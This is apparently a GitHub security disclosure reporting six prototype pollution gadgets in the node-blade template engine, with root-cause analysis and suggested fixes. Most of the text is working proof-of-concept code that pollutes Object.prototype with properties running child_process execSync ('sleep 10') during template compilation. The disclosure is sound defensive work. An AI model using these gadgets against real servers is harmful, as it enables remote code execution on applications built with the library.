-
Notifications
You must be signed in to change notification settings - Fork 28
Description
Hi there!
I've identified several prototype pollution gadgets within the node-blade template engine that could potentially be leveraged by attackers to achieve remote code execution via prototype pollution vulnerabilities.
In light of the findings, I kindly request your confirmation of these potential issues to improve the security of the JavaScript ecosystem. We would greatly appreciate any steps taken to address them and we stand ready to submit a pull request on the GitHub repository to help improve the security for all users of your excellent work.
Root Cause
The existence of these gadgets can be attributed to a specific programming practice. When checking for the presence of a property within an object variable, the lookup scope isn't explicitly defined. In JavaScript, the absence of a defined lookup scope prompts a search up to the root prototype (Object.prototype). This could potentially be under the control of an attacker if other prototype pollution vulnerabilities are present within the application.
Some vulnerable coding patterns are as follows.
if(obj.prop){ //... }
var x = obj.prop || ''..."
Impact
If the application server is using the node-blade as the backend template engine, and there is another prototype pollution vulnerability in the application, then the attacker could leverage the found gadgets in the node-blade template engine to escalate the prototype pollution to remote code execution.
Proof of Concept
Below, I present a Proof of Concept (PoC) to demonstrate the gadgets that I've recently identified in [email protected]
Gadget 1
Object.prototype.code = "global.process.mainModule.require('child_process').execSync('sleep 10')"
Object.prototype.value = "somevalue" // helper property, bladejs/lib/parser/index.js::1316
const template = `html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
tmpl({'nav': []}, function(err, html) {
console.log(html, err);
});
});
Gadget 2
Object.prototype.line = '1\nglobal.process.mainModule.require("child_process").execSync("sleep 10")\n'
Object.prototype.value = "somevalue" // helper property, bladejs/lib/parser/index.js::1316
const template = `html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
tmpl({'nav': []}, function(err, html) {
console.log(html, err);
});
});
Gadget 3
Object.prototype.templateNamespace = "[__=global.process.mainModule.require('child_process').execSync('sleep 10')?'':{}]"
Object.prototype.value = "somevalue" // helper property, bladejs/lib/parser/index.js::1316
const template = `html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
tmpl({'nav': []}, function(err, html) {
console.log(html, err);
});
});
Gadget 4
Object.prototype.exposing = ["global.process.mainModule.require('child_process').execSync('sleep 10')"]
// This template includes the `include` directive
const mainFilePath = path.join(__dirname, '/views/include.blade');
"""
h1 Begin include
include "./included.blade"
h1 After included
h1 End include
"""
fs.readFile(mainFilePath, 'utf8', (err, mainFile) => {
if (err) throw err;
blade.compile(mainFile, { filename: mainFilePath, debug: true }, (err, tmpl) => {
tmpl({}, function(err, html) {});
});
});
Gadget 5
Object.prototype.output = {
to: "global.process.mainModule.require('child_process').execSync('sleep 10')\nxxx"
}
// This template includes the `render` directive
const mainFilePath = path.join(__dirname, '/views/functions_and_block.blade');
"""
p Before foo
block foo
h1 Inside foo
p After foo
include "functions_and_block_include.blade"
p Before old bar
block bar
h1 Inside old bar
p After old bar
call defineBar
| Temp
call defineBar()
p After call define bar
render bar("idiot")
block text
h1 Text before
p The end
replace text
call text
p The very end
"""
fs.readFile(mainFilePath, 'utf8', (err, mainFile) => {
if (err) throw err;
blade.compile(mainFile, { filename: mainFilePath, debug: true }, (err, tmpl) => {
if (err) throw err;
tmpl({}, function(err, html) {
if (err) throw err;
console.log(html);
});
});
});
Gadget 6
Object.prototype.itemAlias = "){global.process.mainModule.require('child_process').execSync('sleep 10')}\n,function("
// This template includes the `foreach` directive
const mainFilePath = path.join(__dirname, '/views/foreach.blade');
"""
- var users = ["Joe", "Bob", "Billy"]
foreach users
p Welcome, #{this}
foreach users as user
p Welcome again, #{user}
p But `this` == `user`, as well? #{this == user}
else
p Users should not be empty?!?!
- var empty = []
foreach empty as foo
p This should not happen
else
p Empty is definitely empty
foreach empty as foo
p This should also not happen
- var obj = {"list": [1, 2, 3]}
foreach obj.list
p= this
"""
fs.readFile(mainFilePath, 'utf8', (err, mainFile) => {
if (err) throw err;
blade.compile(mainFile, { filename: mainFilePath, debug: true }, (err, tmpl) => {
if (err) throw err;
tmpl({}, function(err, html) {
if (err) throw err;
console.log(html);
});
});
});
General Suggested Fix
To mitigate this issue, I recommend constraining the property lookup to the current object variable.
Here are two general strategies:
- Utilize the hasOwnProperty method, especially when there's no need to traverse the prototype chain.
if(obj.hasOwnProperty('prop')){ //... }
var x = obj.hasOwnProperty('prop') ? obj.prop : ''
- Alternatively, consider using
Object.create(null)to create a truly empty object, which won't include the__proto__property.
var obj = Object.create(null);
By adopting these measures, we can effectively prevent the potential exploitation of prototype pollution vulnerabilities.
Reference
Here is the reference link where a similar security issue has been found in ejs template engine:
mde/ejs#601